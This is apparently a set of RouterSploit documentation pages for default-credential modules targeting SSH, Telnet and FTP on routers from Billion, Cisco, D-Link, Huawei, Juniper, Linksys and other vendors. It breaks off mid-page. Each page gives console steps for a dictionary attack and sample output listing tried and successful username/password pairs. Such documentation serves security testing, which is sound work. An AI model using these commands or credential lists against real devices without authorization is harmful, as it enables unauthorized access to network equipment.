routersploit-master/docs/modules/creds/routers/billion/ssh_default_creds.md000066400000000000000000000025501400750623600277650ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Billion Router SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/billion/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/billion/ssh_default_creds rsf (Billion Router Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Billion Router Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/routers/billion/telnet_default_creds.md000066400000000000000000000026001400750623600304570ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Billion Router Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/billion/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/billion/telnet_default_creds rsf (Billion Router Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Billion Router Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/routers/cisco/000077500000000000000000000000001400750623600234305ustar00rootroot00000000000000routersploit-master/docs/modules/creds/routers/cisco/ftp_default_creds.md000066400000000000000000000024631400750623600274340ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Cisco Router FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/cisco/ftp_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/cisco/ftp_default_creds rsf (Cisco Router Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Cisco Router Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/routers/cisco/ssh_default_creds.md000066400000000000000000000025361400750623600274410ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Cisco Router SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/cisco/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/cisco/ssh_default_creds rsf (Cisco Router Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Cisco Router Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/routers/cisco/telnet_default_creds.md000066400000000000000000000025661400750623600301420ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Cisco Router Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/cisco/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/cisco/telnet_default_creds rsf (Cisco Router Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Cisco Router Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/routers/comtrend/000077500000000000000000000000001400750623600241435ustar00rootroot00000000000000routersploit-master/docs/modules/creds/routers/comtrend/ftp_default_creds.md000066400000000000000000000025021400750623600301410ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Comtrend Router FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/comtrend/ftp_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/comtrend/ftp_default_creds rsf (Comtrend Router Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Comtrend Router Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/routers/comtrend/ssh_default_creds.md000066400000000000000000000025551400750623600301550ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Comtrend Router SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/comtrend/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/comtrend/ssh_default_creds rsf (Comtrend Router Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Comtrend Router Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/routers/comtrend/telnet_default_creds.md000066400000000000000000000026051400750623600306470ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Comtrend Router Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/comtrend/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/comtrend/telnet_default_creds rsf (Comtrend Router Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Comtrend Router Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/routers/dlink/000077500000000000000000000000001400750623600234315ustar00rootroot00000000000000routersploit-master/docs/modules/creds/routers/dlink/ftp_default_creds.md000066400000000000000000000024661400750623600274400ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against D-Link Router FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/dlink/ftp_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/dlink/ftp_default_creds rsf (D-Link Router Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (D-Link Router Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/routers/dlink/ssh_default_creds.md000066400000000000000000000025411400750623600274360ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against D-Link Router SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/dlink/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/dlink/ssh_default_creds rsf (D-Link Router Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (D-Link Router Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/routers/dlink/telnet_default_creds.md000066400000000000000000000025711400750623600301370ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against D-Link Router Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/dlink/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/dlink/telnet_default_creds rsf (D-Link Router Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (D-Link Router Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/routers/fortinet/000077500000000000000000000000001400750623600241625ustar00rootroot00000000000000routersploit-master/docs/modules/creds/routers/fortinet/ftp_default_creds.md000066400000000000000000000025021400750623600301600ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Fortined Router FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/fortinet/ftp_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/fortinet/ftp_default_creds rsf (Fortinet Router Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Fortinet Router Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/routers/fortinet/ssh_default_creds.md000066400000000000000000000025551400750623600301740ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Fortinet Router SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/fortinet/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/fortinet/ssh_default_creds rsf (Fortinet Router Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Fortinet Router Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/routers/fortinet/telnet_default_creds.md000066400000000000000000000026051400750623600306660ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Fortinet Router Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/fortinet/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/fortinet/telnet_default_creds rsf (Fortinet Router Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Fortinet Router Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/routers/huawei/000077500000000000000000000000001400750623600236125ustar00rootroot00000000000000routersploit-master/docs/modules/creds/routers/huawei/ftp_default_creds.md000066400000000000000000000024701400750623600276140ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Huawei Router FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/huawei/ftp_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/huawei/ftp_default_creds rsf (Huawei Router Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Huawei Router Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/routers/huawei/ssh_default_creds.md000066400000000000000000000025431400750623600276210ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Huawei Router SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/huawei/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/huawei/ssh_default_creds rsf (Huawei Router Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Huawei Router Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/routers/huawei/telnet_default_creds.md000066400000000000000000000025731400750623600303220ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Huawei Router Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/huawei/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/huawei/telnet_default_creds rsf (Huawei Router Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Huawei Router Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/routers/ipfire/000077500000000000000000000000001400750623600236065ustar00rootroot00000000000000routersploit-master/docs/modules/creds/routers/ipfire/ftp_default_creds.md000066400000000000000000000024701400750623600276100ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against IPFire Router FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/ipfire/ftp_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/ipfire/ftp_default_creds rsf (IPFire Router Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (IPFire Router Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/routers/ipfire/ssh_default_creds.md000066400000000000000000000025431400750623600276150ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against IPFire Router SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/ipfire/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/ipfire/ssh_default_creds rsf (IPFire Router Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (IPFire Router Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/routers/ipfire/telnet_default_creds.md000066400000000000000000000025731400750623600303160ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against IPFire Router Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/ipfire/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/ipfire/telnet_default_creds rsf (IPFire Router Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (IPFire Router Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/routers/juniper/000077500000000000000000000000001400750623600240045ustar00rootroot00000000000000routersploit-master/docs/modules/creds/routers/juniper/ftp_default_creds.md000066400000000000000000000024751400750623600300130ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Juniper Router FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/juniper/ftp_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/juniper/ftp_default_creds rsf (Juniper Router Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Juniper Router Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/routers/juniper/ssh_default_creds.md000066400000000000000000000025501400750623600300110ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Juniper Router SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/juniper/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/juniper/ssh_default_creds rsf (Juniper Router Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Juniper Router Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/routers/juniper/telnet_default_creds.md000066400000000000000000000026001400750623600305030ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Juniper Router Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/juniper/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/juniper/telnet_default_creds rsf (Juniper Router Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Juniper Router Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/routers/linksys/000077500000000000000000000000001400750623600240245ustar00rootroot00000000000000routersploit-master/docs/modules/creds/routers/linksys/ftp_default_creds.md000066400000000000000000000024751400750623600300330ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Linksys Router FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/linksys/ftp_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/linksys/ftp_default_creds rsf (Linksys Router Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Linksys Router Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/routers/linksys/ssh_default_creds.md000066400000000000000000000025501400750623600300310ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Linksys Router SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/linksys/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/linksys/ssh_default_creds rsf (Linksys Router Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Linksys Router Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH 